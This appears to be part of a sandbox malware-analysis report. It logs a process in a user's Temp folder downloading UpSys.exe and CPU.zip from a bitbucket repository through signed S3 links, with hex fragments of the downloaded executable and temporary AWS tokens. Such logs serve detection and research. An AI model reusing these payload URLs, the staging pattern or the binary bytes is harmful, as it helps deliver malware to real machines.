2022-08-04 11:37:03 UTC	3491	IN	Data Raw: eb e1 4a 58 c5 4e 68 0d 00 76 78 08 d8 f0 fd 9f 95 ec e9 00 ab d6 dc 7d 01 5a a9 11 00 6e 2e 24 16 fb 2c 14 60 e0 9e 00 ae cd 10 6d 93 01 da 35 00 32 62 61 5f 33 3f af 27 00 18 f6 8e 06 ae 0c d0 fb 07 ea 4f ec f4 c2 60 1c de b0 a7 00 a2 ef 24 49 85 1a 0c cf 2c fd c4 cb 00 98 c9 54 a4 80 6d 00 59 48 d3 f3 ae 0d d9 b9 00 4f 0a 4e e4 e0 36 ac f9 00 b8 a7 ec 78 e1 90 80 29 07 6f 4d 11 ef 3a 30 5e 2e 97 45 2e f6 b3 a5 0b 7e 80 00 71 38 01 ab be 0f cf 94 ae 93 80 7a 37 ec 41 1f 00 d3 d1 52 8f 60 c8 5c d0 b8 3d 00 38 94 c9 91 16 53 92 3f 5c 36 0f 07 27 e6 f0 47 00 4f 40 c7 3a 00 c2 0c 93 52 98 fa 84 20 00 e6 7a 2c 6f 3f 1c 56 59 00 7e ad 7c fb 12 b4 35 15 00 d3 27 25 11 1d d7 02 18 00 9f 4d ac 3e c3 99 0f b7 00 26 7b e5 40 b5 10 35 e7 16 e0 aa 4a 00 20 e8 a3 c2 Data Ascii: JXNhvx}Zn.$,`m52ba_3?'O`$I,TmYHON6x)oM:0^.E.~q8z7AR`\=8S?\6'GO@:R z,o?VY~\|5'%M>&{@5J
2022-08-04 11:37:03 UTC	3507	IN	Data Raw: 27 01 f4 3c 8e 73 4c 3e 35 06 82 c6 0e 1f e2 37 e0 6b 52 7d 4c 1c 64 00 ea c5 ce 33 ae 3f 3b ee c8 00 e2 6c 37 5b cf 49 90 30 00 6b be c2 27 95 b6 34 9a 00 f3 d8 a4 05 8a 7e 5b 78 1f 0c b9 a3 80 63 91 fd a9 75 e5 00 88 ee f9 d7 5c 0f ac 35 00 bc d0 31 63 50 a5 99 a6 00 3e ad 77 c0 87 5f 56 ef 00 0b 8e 5b 2e c1 bf 32 11 03 df 2a ab 1b dc 08 d8 5c 73 69 00 41 44 f7 35 71 a2 43 60 01 48 bf 62 19 08 6a f2 cb a0 63 09 70 00 67 4f 46 bd 9d a5 a8 19 48 e8 94 00 1e da 8a 93 d3 bc b1 01 3c be 73 62 b3 4d 83 f4 32 59 00 bb 3b c6 22 09 fc 1b 9e fe 74 0f 1f 56 93 04 18 5c 9d 1c 00 10 0e 3a ba 87 f7 be bf 3a 02 fa 17 cf 01 01 f3 e0 f2 bc 7f 30 e7 2e 00 ed d5 f7 66 c9 46 b5 55 2c 68 49 40 00 27 bf de 2a 0a 9f 00 a1 97 61 7d fa 84 45 c6 00 b1 70 ef f2 cc a0 c4 d4 07 e2 Data Ascii: '<sL>57kR}Ld3?;l7[I0k'4~[xcu\51cP>w_V[.2\siAD5qC`HbjcpgOFH<sbM2Y;"tV\::0.fFU,hI@'a}Ep

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49832	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:12 UTC	3516	OUT	GET /tilttilttilt/test1/downloads/UpSys.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:37:12 UTC	3517	IN	HTTP/1.1 302 Found content-security-policy-report-only: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 998820.486 vary: Accept-Language, Origin x-usage-request-cost: 1200.63 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: 43efe4a2b378b587 x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:37:12 GMT x-usage-user-time: 0.030666 x-usage-system-time: 0.005353 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/4cedbadc-424b-4242-93aa-1dc687b9b639/UpSys.exe?response-content-disposition=attachment%3B%20filename%3D%22UpSys.exe%22&AWSAccessKeyId=ASIA6KOSE3BNJVJZSMMY&Signature=GKG00xdlg3oygermvOEbueO%2BNz8%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDFpChqY%2B2X%2BiK6A2piK%2BAcOCwSpdg1wgDPSX5WQjUuMV1Z7amPKaPIe5PjMvfeBJMBw5AeR8g4M55fcd%2F0kTXCArPsFwKbmXsSrHAwSMRv6DU0B5vALfTsLWG1UAEdmSN9MjiwJKee3Vq5ZeBBpgPl5YhOPG3txjTiyZZKlKby6LzGxZIVE2reMrsReULEJiZjV85rcOjR4dLWEWoLJaC3%2B23R1OMfkepi23e02S%2FCK0u4K29MgaGjs4ttXi0v665%2BOmSEtss4FLxVC2W2wojN6ulwYyLXTHueXa1xySDNZ8yPRIrP0HK1T2gA%2Fvw3IsU5T5A624p2Zydq6RO6NQG84stQ%3D%3D&Expires=1659614740 expires: Thu, 04 Aug 2022 11:37:12 GMT x-served-by: e91a616eed31 x-envoy-upstream-service-time: 84 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.07155036926269531 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 2163 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49868	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:56 UTC	4459	OUT	GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:37:56 UTC	4460	IN	HTTP/1.1 302 Found content-security-policy-report-only: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; base-uri 'self'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; object-src 'none'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 998932.403 vary: Accept-Language, Origin x-usage-request-cost: 1085.87 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: c3b67ee6f0331609 x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:37:56 GMT x-usage-user-time: 0.032576 x-usage-system-time: 0.000000 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 expires: Thu, 04 Aug 2022 11:37:56 GMT x-served-by: 28c490521c9a x-envoy-upstream-service-time: 74 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.06278347969055176 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 3533 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49873	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:38:12 UTC	4462	OUT	GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:38:12 UTC	4463	IN	HTTP/1.1 302 Found content-security-policy-report-only: object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; base-uri 'self'; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 998768.955 vary: Accept-Language, Origin x-usage-request-cost: 1249.60 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: cc6018882bc495f8 x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:38:12 GMT x-usage-user-time: 0.031290 x-usage-system-time: 0.006198 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 expires: Thu, 04 Aug 2022 11:38:12 GMT x-served-by: 6e75af0d8f9b x-envoy-upstream-service-time: 78 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.06467127799987793 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 2450 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49838	52.217.195.249	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:13 UTC	3519	OUT	GET /e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/4cedbadc-424b-4242-93aa-1dc687b9b639/UpSys.exe?response-content-disposition=attachment%3B%20filename%3D%22UpSys.exe%22&AWSAccessKeyId=ASIA6KOSE3BNJVJZSMMY&Signature=GKG00xdlg3oygermvOEbueO%2BNz8%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDFpChqY%2B2X%2BiK6A2piK%2BAcOCwSpdg1wgDPSX5WQjUuMV1Z7amPKaPIe5PjMvfeBJMBw5AeR8g4M55fcd%2F0kTXCArPsFwKbmXsSrHAwSMRv6DU0B5vALfTsLWG1UAEdmSN9MjiwJKee3Vq5ZeBBpgPl5YhOPG3txjTiyZZKlKby6LzGxZIVE2reMrsReULEJiZjV85rcOjR4dLWEWoLJaC3%2B23R1OMfkepi23e02S%2FCK0u4K29MgaGjs4ttXi0v665%2BOmSEtss4FLxVC2W2wojN6ulwYyLXTHueXa1xySDNZ8yPRIrP0HK1T2gA%2Fvw3IsU5T5A624p2Zydq6RO6NQG84stQ%3D%3D&Expires=1659614740 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Connection: Keep-Alive Host: bbuseruploads.s3.amazonaws.com
2022-08-04 11:37:13 UTC	3520	IN	HTTP/1.1 200 OK x-amz-id-2: GDw2tdl1wClc+Y0H4QLxDLHhDu5NeruhyXqOl6N1SAlwrPWNG91WLN1Zf4WraL7ElK3fYtVBBTM= x-amz-request-id: FAYYXVPP5B30QRRY Date: Thu, 04 Aug 2022 11:37:14 GMT Last-Modified: Fri, 08 Oct 2021 15:56:47 GMT ETag: "efe5769e37ba37cf4607cb9918639932" x-amz-version-id: W.pANh85KmlWZmruQkzmM9Sllvu_UgzE Content-Disposition: attachment; filename="UpSys.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Server: AmazonS3 Content-Length: 945944 Connection: close
2022-08-04 11:37:13 UTC	3521	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 80 69 b1 40 c4 08 df 13 c4 08 df 13 c4 08 df 13 79 47 49 13 c6 08 df 13 cd 70 5c 13 7d 08 df 13 cd 70 4a 13 ca 08 df 13 cd 70 5b 13 fd 08 df 13 e3 ce b2 13 cd 08 df 13 e3 ce 5f 13 c5 08 df 13 e3 ce a4 13 e5 08 df 13 c4 08 de 13 d7 0a df 13 cd 70 50 13 82 08 df 13 da 5a 4a 13 c6 08 df 13 da 5a 4b 13 c5 08 df 13 c4 08 48 13 c5 08 df 13 cd 70 4e 13 c5 08 df 13 52 69 63 68 c4 08 df Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i@yGIp\}pJp[_pPZJZKHpNRich
2022-08-04 11:37:13 UTC	3521	IN	Data Raw: 00 2e 74 65 78 74 00 00 00 c1 5a 09 00 00 10 00 00 00 5c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c 56 01 00 00 70 09 00 00 58 01 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 cb 01 00 00 d0 0a 00 00 76 00 00 00 b8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 14 6a 00 00 00 a0 0c 00 00 6c 00 00 00 2e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f0 ee 00 00 00 10 0d 00 00 f0 00 00 00 9a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .textZ\ `.rdataVpX`@@.datav@.pdatajl.@@.rsrc@@
2022-08-04 11:37:13 UTC	3537	IN	Data Raw: 01 48 8b cd e8 28 fd ff ff 48 8b 5c 24 60 48 8b 6c 24 70 33 c0 48 83 c4 50 5e c3 48 8b 4d 00 e9 41 ff ff ff 48 8b cd e8 05 d8 ff ff 48 8b d0 e8 ed b7 00 00 48 8b c8 e8 75 c5 00 00 84 c0 74 3e 48 8b cd e8 d9 b7 00 00 48 8b c8 48 8b d8 e8 ce 2b 00 00 c7 43 08 09 00 00 00 c6 03 01 eb a2 48 8b cd e8 ca d7 ff ff 4c 8b c0 e8 b2 b7 00 00 49 8b c8 48 8b d0 e8 07 ba 00 00 84 c0 75 4a 48 8b cd e8 9b b7 00 00 33 d2 48 8b c8 e8 01 d8 00 00 e9 6c ff ff ff 48 8b cd e8 94 d7 ff ff 48 8b d0 e8 7c b7 00 00 48 8b c8 e8 d4 b9 00 00 84 c0 74 cd 48 8b cd e8 68 b7 00 00 b2 01 48 8b c8 e8 ce d7 00 00 e9 39 ff ff ff 48 8b cd e8 51 b7 00 00 b2 01 48 8b c8 e8 b7 d7 00 00 e9 22 ff ff ff 66 90 b4 4e 00 00 7e 4e 00 00 20 53 03 00 e8 52 03 00 50 52 03 00 e3 4d 00 00 b0 52 03 00 43 4e Data Ascii: H(H\$`Hl$p3HP^HMAHHHut>HHH+CHLIHuJH3HlHH\|HtHhH9HQH"fN~N SRPRMRCN
2022-08-04 11:37:13 UTC	3553	IN	Data Raw: 00 49 8b 41 08 89 5c 24 08 48 89 87 70 19 0b 00 89 5c 24 0c c7 05 3b 8b 0a 00 04 00 00 00 c7 05 35 8b 0a 00 06 00 00 00 4c 8d 0c 24 48 8d 05 76 81 09 00 48 89 05 27 8b 0a 00 48 8d 05 d0 21 06 00 48 89 04 24 49 8b 01 48 89 87 88 19 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 90 19 0b 00 89 5c 24 0c c7 05 0d 8b 0a 00 01 00 00 00 c7 05 07 8b 0a 00 01 00 00 00 4c 8d 0c 24 48 8d 05 20 81 09 00 48 89 05 f9 8a 0a 00 48 8d 05 c2 2d 06 00 48 89 04 24 49 8b 01 48 89 87 a8 19 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 b0 19 0b 00 89 5c 24 0c c7 05 df 8a 0a 00 01 00 00 00 c7 05 d9 8a 0a 00 01 00 00 00 4c 8d 0c 24 48 8d 05 c2 80 09 00 48 89 05 cb 8a 0a 00 48 8d 05 d4 4d 06 00 48 89 04 24 49 8b 01 48 89 87 c8 19 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 d0 19 0b 00 89 5c 24 0c 4c Data Ascii: IA\$Hp\$;5L$HvH'H!H$IHIA\$H\$L$H HH-H$IHIA\$H\$L$HHHMH$IHIA\$H\$L
2022-08-04 11:37:13 UTC	3554	IN	Data Raw: 89 87 10 1b 0b 00 89 5c 24 0c c7 05 e5 88 0a 00 01 00 00 00 c7 05 df 88 0a 00 01 00 00 00 4c 8d 0c 24 48 8d 05 48 7c 09 00 48 89 05 d1 88 0a 00 48 8d 05 9a e4 07 00 48 89 04 24 49 8b 01 48 89 87 28 1b 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 30 1b 0b 00 89 5c 24 0c c7 05 b7 88 0a 00 01 00 00 00 c7 05 b1 88 0a 00 02 00 00 00 4c 8d 0c 24 48 8d 05 d2 7b 09 00 48 89 05 a3 88 0a 00 48 8d 05 bc e1 07 00 48 89 04 24 49 8b 01 48 89 87 48 1b 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 50 1b 0b 00 89 5c 24 0c c7 05 89 88 0a 00 02 00 00 00 c7 05 83 88 0a 00 03 00 00 00 4c 8d 0c 24 48 8d 05 64 7b 09 00 48 89 05 75 88 0a 00 48 8d 05 be b2 07 00 48 89 04 24 49 8b 01 48 89 87 68 1b 0b 00 49 8b 41 08 4c 8d 0c 24 48 89 87 70 1b 0b 00 48 8d 05 0a 7b 09 00 89 5c 24 08 48 89 05 5f Data Ascii: \$L$HH\|HHH$IH(IA\$H0\$L$H{HHH$IHHIA\$HP\$L$Hd{HuHH$IHhIAL$HpH{\$H_
2022-08-04 11:37:13 UTC	3570	IN	Data Raw: 63 0a 00 48 8d 05 a7 93 08 00 48 89 04 24 49 8b 01 48 89 87 88 35 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 90 35 0b 00 89 5c 24 0c c7 05 44 63 0a 00 01 00 00 00 c7 05 3e 63 0a 00 04 00 00 00 4c 8d 0c 24 48 8d 05 ef 23 09 00 48 89 05 30 63 0a 00 48 8d 05 99 a0 06 00 48 89 04 24 49 8b 01 48 89 87 a8 35 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 b0 35 0b 00 89 5c 24 0c c7 05 16 63 0a 00 01 00 00 00 c7 05 10 63 0a 00 02 00 00 00 4c 8d 0c 24 48 8d 05 81 23 09 00 48 89 05 02 63 0a 00 48 8d 05 ab e4 07 00 48 89 04 24 49 8b 01 48 89 87 c8 35 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 d0 35 0b 00 89 5c 24 0c c7 05 e8 62 0a 00 01 00 00 00 c7 05 e2 62 0a 00 02 00 00 00 4c 8d 0c 24 48 8d 05 1b 23 09 00 48 89 05 d4 62 0a 00 48 8d 05 2d 89 07 00 48 89 04 24 49 8b 01 48 89 87 e8 Data Ascii: cHH$IH5IA\$H5\$Dc>cL$H#H0cHH$IH5IA\$H5\$ccL$H#HcHH$IH5IA\$H5\$bbL$H#HbH-H$IH
2022-08-04 11:37:13 UTC	3571	IN	Data Raw: 48 89 04 24 49 8b 01 48 89 87 28 37 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 30 37 0b 00 89 5c 24 0c 89 1d f2 60 0a 00 89 1d f0 60 0a 00 4c 8d 0c 24 48 8d 05 b1 1e 09 00 48 89 05 e2 60 0a 00 48 8d 05 4b ca 05 00 48 89 04 24 49 8b 01 48 89 87 48 37 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 50 37 0b 00 89 5c 24 0c c7 05 c8 60 0a 00 02 00 00 00 c7 05 c2 60 0a 00 0a 00 00 00 4c 8d 0c 24 48 8d 05 53 1e 09 00 48 89 05 b4 60 0a 00 48 8d 05 8d d7 05 00 48 89 04 24 49 8b 01 48 89 87 68 37 0b 00 49 8b 41 08 89 5c 24 08 48 89 87 70 37 0b 00 89 5c 24 0c 4c 8d 0c 24 48 8d 05 09 1e 09 00 c7 05 8f 60 0a 00 01 00 00 00 c7 05 89 60 0a 00 01 00 00 00 48 89 05 86 60 0a 00 48 8d 05 cf ad 04 00 48 89 04 24 49 8b 01 48 89 87 88 37 0b 00 49 8b 41 08 4c 8d 0c 24 48 89 87 90 37 0b 00 Data Ascii: H$IH(7IA\$H07\$``L$HH`HKH$IHH7IA\$HP7\$``L$HSH`HH$IHh7IA\$Hp7\$L$H``H`HH$IH7IAL$H7
2022-08-04 11:37:13 UTC	3587	IN	Data Raw: 48 85 c0 74 1a 8b 48 20 48 8b 40 28 81 e1 00 ff 00 00 89 0f 48 8b 5c 24 30 48 83 c4 20 5f c3 33 c0 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 33 ff 48 8b d9 48 83 c1 10 48 89 79 f0 e8 04 28 00 00 48 8d 8b 18 01 00 00 e8 d8 e6 ff ff 48 8d 8b 38 01 00 00 e8 cc e6 ff ff 48 8d 8b 58 01 00 00 e8 c0 e6 ff ff 48 8d 8b 78 01 00 00 e8 b4 e6 ff ff 48 8d 8b c0 01 00 00 e8 68 03 00 00 8d 4f 08 e8 28 58 00 00 48 85 c0 0f 84 97 0e 02 00 48 89 38 48 8d 0d 6d a1 08 00 48 89 03 ff 15 0c 67 08 00 89 43 08 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc 48 89 5c 24 08 57 48 83 ec 30 48 8b f9 48 8d 4c 24 58 49 8b d8 ff 15 05 5c 08 00 85 c0 0f 84 9d 17 02 00 0f 29 74 24 20 66 0f ef f6 48 8b cb f2 48 0f 2a 74 24 58 e8 25 63 ff ff c7 43 08 Data Ascii: HtH H@(H\$0H _3H\$0H _H\$WH 3HHHy(HH8HXHxHhO(XHH8HmHgCHH\$0H _H\$WH0HHL$XI\)t$ fHH*t$X%cC
2022-08-04 11:37:13 UTC	3588	IN	Data Raw: 8d 4b 28 c6 43 20 00 e8 35 00 00 00 45 33 db 4c 89 5b 48 4c 89 5b 58 44 89 5b 60 44 89 5b 64 44 89 5b 68 c7 43 6c 00 28 00 00 c7 43 70 00 20 00 00 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc cc cc cc 40 53 48 83 ec 20 48 8b d9 48 c7 41 08 00 00 00 00 48 c7 41 10 10 00 00 00 b9 10 00 00 00 e8 55 54 00 00 48 8b cb 48 89 03 c6 00 00 e8 4f fe ff ff 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b 42 08 48 8b d9 48 8b fa 48 8b 08 e8 c4 ed ff ff 85 c0 0f 8e 3c 99 02 00 ff 15 5e 64 08 00 89 83 30 05 00 00 48 8b 47 08 48 8b 08 e8 a4 ed ff ff 33 d2 48 8b cb 89 83 28 05 00 00 c7 83 c4 01 00 00 02 00 00 00 e8 ea 57 ff ff 33 c0 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 48 8b c2 48 8b d1 48 8b c8 e8 Data Ascii: K(C 5E3L[HL[XD[`D[dD[hCl(Cp HH [@SH HHAHAUTHHOHH [H\$WH HBHHH<^d0HGH3H(W3H\$0H _H(HHH
2022-08-04 11:37:13 UTC	3604	IN	Data Raw: c5 23 08 00 48 8b 0d be fa 09 00 33 d2 48 83 c4 60 5b 48 ff 25 b0 23 08 00 cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 81 ec 80 00 00 00 b9 0f 00 00 00 ff 15 b3 23 08 00 ba 00 7f 00 00 33 c9 48 8b d8 ff 15 9b 23 08 00 48 8b 0d 84 fa 09 00 ba 63 00 00 00 48 8b f8 ff 15 7e 23 08 00 48 8b 0d 6f fa 09 00 ba a4 00 00 00 48 89 05 8b 04 0b 00 ff 15 65 23 08 00 48 8b 0d 56 fa 09 00 ba a2 00 00 00 48 89 05 82 04 0b 00 ff 15 4c 23 08 00 48 8b 0d 3d fa 09 00 33 f6 48 89 05 74 04 0b 00 48 8b 05 dd 2d 0b 00 44 8d 4e 10 40 38 70 33 0f 84 77 e9 01 00 8d 56 63 44 8d 46 01 89 74 24 28 44 89 4c 24 20 ff 15 e9 1f 08 00 4c 8b d8 48 89 05 2f 04 0b 00 48 8b 05 f8 f9 09 00 48 89 44 24 48 48 8d 05 